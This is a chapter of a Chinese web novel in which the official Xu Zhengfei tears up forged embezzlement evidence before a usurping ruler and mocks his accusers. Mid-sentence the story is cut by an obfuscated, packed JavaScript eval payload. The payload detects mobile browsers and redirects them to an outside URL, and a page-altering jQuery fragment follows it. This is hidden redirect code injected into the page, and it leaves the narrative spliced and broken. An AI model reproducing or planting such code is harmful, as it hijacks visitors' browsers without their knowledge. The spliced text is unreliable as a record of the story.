戎叔晚扫过目光去,殿里的侍仆明白过来,赶忙小跑着将那纸页都收敛起来递给人。 徐正扉捻着“证据”翻看了两页,便哼笑一声,抬手就叠在一处,撕了个稀碎。 诸众目瞪口呆。 “安平候想杀扉,倒也好说,不必此等大费周折,还须造出证据来。”徐正扉转脸看了董云一眼,又看尹同甫:“枉你贤名传世,竟也作这样的勾当!” 他有条不紊地抬起靴子,将那碎屑碾皱了去,淡定笑道:“想来大人贪敛多了,连数目都算不清楚。你当真以为淮安之地,三万六千众盐民,一年能造出万石之数来?这三万人半年不吃喝,不算晴雨,方才得一千数。剩下这九千数——难道是大人吃酒吃出来的不成?” 钟离策恼怒,攥紧扶手,才要发作,便瞥见戎叔晚抱胸冷笑的神情——他顿住,强压着怒火:“尹同甫,怎么回事?” 尹同甫不语。 倒是张延帮腔了:“徐大人狂奍,御前失礼,纵凭这样也是失德,该杖责三十。”他又说:“徐大人贪不下的,自然有父兄帮忙。恩邦一年进献之数,去了哪里?” 徐正扉丝毫不惧:“自然进了国库。” “那荆楚所献,又去了哪里?”不等徐正扉开口,他便继续道:“恐怕不是进了国库,而是进了徐府的口袋吧!不然……何以荆楚储君三公子带来的账簿子,竟和徐大人所献的,不一致呢?” 除了亲笔书信之外,礼单分作两份,君主手里一份,另一份在徐正扉之父徐智渊手中。现如今,钟离策入主圣宫,自然想怎么说就怎么说,要他空口白牙,如何对证? 他不上当——“我父已经下狱,你们自己去查便是。” 张延一愣,见他全然不在乎似的,便又出招:“新君登基,请了三公子来做客,何不当场对峙?” 楚问秋进门的时候,徐正扉都愣了。 这奸贼,竟通敌叛国,连荆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16519538|186265||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 楚都勾搭上了。原来,荆楚之地,渊源复杂,这三公子和他们将军有“旧情”,叫君主震慑住,不敢造次之后,便一直怀恨在心。待这次机缘巧合,有燕少贤牵桥搭线,便都搅和在一块了。 这会子,始作俑者才说话。燕少贤平静道:“素闻徐郎高才,今日一见,不过如此。新君不欲屈打成招,没承想,你竟这等不识抬举,放肆不说,竟意欲销毁证据——如今证据已毁,任凭你巧舌如簧,也辩驳了。如今人证也在,你还想狡辩?” 徐正扉笑眯眯道:“先君和君主三十载不曾凭个人好恶定人奸论,还是‘少贤’敏锐,只凭一双眼,便知扉有罪。依我看,这律司府——倒不如撤散,将权力抛给您好了。” 那话说得有意思,直把燕少贤嘲讽的脸色青白一阵:帝王都做不得主,你倒充起人来了。 ——燕少贤到底能忍,笑面相对:“大人误会了。律司府已经查清徐大人之罪,今日对峙,本是为了不冤枉大人。奈何大人不配合,这吃杖子,下牢狱必是免不了的。纵大人无罪,恐怕遭令尊连累,也要……” 他点到即止:“还请新君示下。” 张延见状,更觉胜券在握,一副小人得志的模样:“还不赶紧将他拖下去,那打杖子的都等不及了!” 房津想开口,却被房允这傻小子抢了先。他傻乎乎地求饶:“不要啊君主!徐郎是清官,是大好人,他定不是这样的人。您不要冤枉他呀——”他去扯徐正扉的袖子,“你少说两句……” 张延出口嘲讽:“徐大人平日里作威作福,欺凌官员,恐怕也少不得徇私枉法的勾当!现下新君明鉴,已是人人得而诛之!” 上次告状的人也是这么说的!问及起来,偏又避重就轻,“徐大人休要逞口舌之快,谁若跳出来,岂不叫你暗中报复?!” 徐正扉谈吐自如,“这话才奇罕!是张家占了地受罚不认,还是李大人徇私扣了俸禄不服?凡是经过扉手里的,那都是实在的数目,如若不安,你我也对上一对,如何?难道说,大人心虚,有什么不可见人的勾当,担心叫扉查出来不成?” “勿要血口喷人,徐大人白牙咬住人,好厉害的嘴舌!李某一身官袍、两袖清风,从不惧什么巡查!” “那便是了,大人这样的清白,又何必为那些‘朱门罪吏’拉关系、讨便宜呢!” “什么拉关系……徐大人你你你!休要与我纠缠。” 那话厉害,当即给那个李大人气得哼哼,只别过脸去再不吭声了。 因徐正扉行事谨慎,往日里清理盘根错节自有妙计,落不下把柄来,故而他们寻不出人证物证,只得模棱两可,往他头上扣个大帽子,寻出楚问秋来嫁祸于他。 可楚问秋只为惦记着谢祯,方才配合;这会子他倦倦地往椅座上靠,只笑着看戏,并不主动开口。 于是,张延只当堂跪下,恭敬磕头道:“徇私枉法待查,贪赃必也脱不了干系!至少,今日御前放肆,这三十杖子必打!臣请命——” 钟离策勾唇笑起来,效仿着他兄长那真正君王的姿态,淡定道:“徐卿还不认错?若是求饶,朕今日就免了你的杖罚!” 房允还想劝来着,徐正扉却笑了:“认错?恐怕不能。” 张延听了,先一副夸张的怒色,替他的主子号啕:“新君必不能容他啊!这等放肆,不将您放在眼里——徐家满门奸佞,必要抄家才好!” 这话不免深得钟离策之心,他大手一挥:“来人,将徐正扉给朕拖下去……” 话没说完,“咚”的一声! 那蟒杖敲在地上,不由得吓了众人一跳。 大家闻声望去,只见戎叔晚站起身来,缓缓朝人走近。 架势骇人,钟离策的话便停住了,闵添与温绪成对视一眼,只扶住了腰间宝刀,等着护驾。一遭架住徐正扉的人更是半分不敢动弹,停在原处。 哪知戎叔晚并不替徐正扉开脱,而是俯身朝着张延笑:“大人好忠的戏码。” 张延才归朝堂,对戎叔晚的事儿听闻甚少,便不拿他当回事,出言嘲讽:“听说你与徐正扉狼狈为奸,沆瀣勾结,未必没有你的一分子!不过是个马仆子,你算个什么东西?偌大朝堂,岂能轮得到你开口!” “啧。” 太傅微微眯眼,露出笑来…… 今日,怕是又有好戏看咯。